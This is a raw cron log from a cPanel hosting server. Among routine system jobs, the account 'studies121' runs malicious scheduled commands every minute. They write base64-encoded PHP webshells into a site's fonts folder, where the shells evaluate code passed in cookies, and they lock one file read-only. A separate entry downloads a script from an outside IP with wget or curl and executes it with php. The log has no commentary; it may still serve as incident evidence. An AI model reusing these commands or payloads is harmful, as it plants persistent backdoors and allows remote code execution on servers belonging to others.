Sep  2 15:27:01 ip-184-168-122-23 CROND[5740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:27:01 ip-184-168-122-23 CROND[5737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:28:01 ip-184-168-122-23 CROND[5925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:28:01 ip-184-168-122-23 CROND[5927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:28:01 ip-184-168-122-23 CROND[5929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:28:01 ip-184-168-122-23 CROND[5928]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:28:01 ip-184-168-122-23 CROND[5926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:29:01 ip-184-168-122-23 CROND[6024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:29:01 ip-184-168-122-23 CROND[6022]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:29:01 ip-184-168-122-23 CROND[6023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:29:01 ip-184-168-122-23 CROND[6025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6121]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:30:01 ip-184-168-122-23 CROND[6126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:30:01 ip-184-168-122-23 CROND[6129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:30:01 ip-184-168-122-23 CROND[6133]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:31:01 ip-184-168-122-23 CROND[6259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:31:01 ip-184-168-122-23 CROND[6260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:31:01 ip-184-168-122-23 CROND[6261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:31:01 ip-184-168-122-23 CROND[6264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:31:01 ip-184-168-122-23 CROND[6266]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 15:32:01 ip-184-168-122-23 CROND[6353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:32:01 ip-184-168-122-23 CROND[6357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:32:01 ip-184-168-122-23 CROND[6358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:32:01 ip-184-168-122-23 CROND[6355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:32:01 ip-184-168-122-23 CROND[6356]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:33:02 ip-184-168-122-23 CROND[6440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:33:02 ip-184-168-122-23 CROND[6442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:33:02 ip-184-168-122-23 CROND[6444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:33:02 ip-184-168-122-23 CROND[6443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:34:01 ip-184-168-122-23 CROND[6609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:34:01 ip-184-168-122-23 CROND[6611]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:34:01 ip-184-168-122-23 CROND[6612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:34:01 ip-184-168-122-23 CROND[6613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:34:01 ip-184-168-122-23 CROND[6614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:35:01 ip-184-168-122-23 CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6717]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:35:01 ip-184-168-122-23 CROND[6719]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 15:36:01 ip-184-168-122-23 CROND[6825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:36:01 ip-184-168-122-23 CROND[6826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:36:01 ip-184-168-122-23 CROND[6828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:36:01 ip-184-168-122-23 CROND[6829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:36:01 ip-184-168-122-23 CROND[6830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:37:01 ip-184-168-122-23 CROND[6925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:37:01 ip-184-168-122-23 CROND[6929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:37:01 ip-184-168-122-23 CROND[6928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:37:01 ip-184-168-122-23 CROND[6927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:38:01 ip-184-168-122-23 CROND[7017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:38:01 ip-184-168-122-23 CROND[7019]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:38:01 ip-184-168-122-23 CROND[7021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:38:01 ip-184-168-122-23 CROND[7020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:38:01 ip-184-168-122-23 CROND[7022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:39:01 ip-184-168-122-23 CROND[7210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:39:01 ip-184-168-122-23 CROND[7214]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 15:39:01 ip-184-168-122-23 CROND[7213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:39:01 ip-184-168-122-23 CROND[7212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:39:01 ip-184-168-122-23 CROND[7215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:40:01 ip-184-168-122-23 CROND[7341]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 15:40:01 ip-184-168-122-23 CROND[7344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
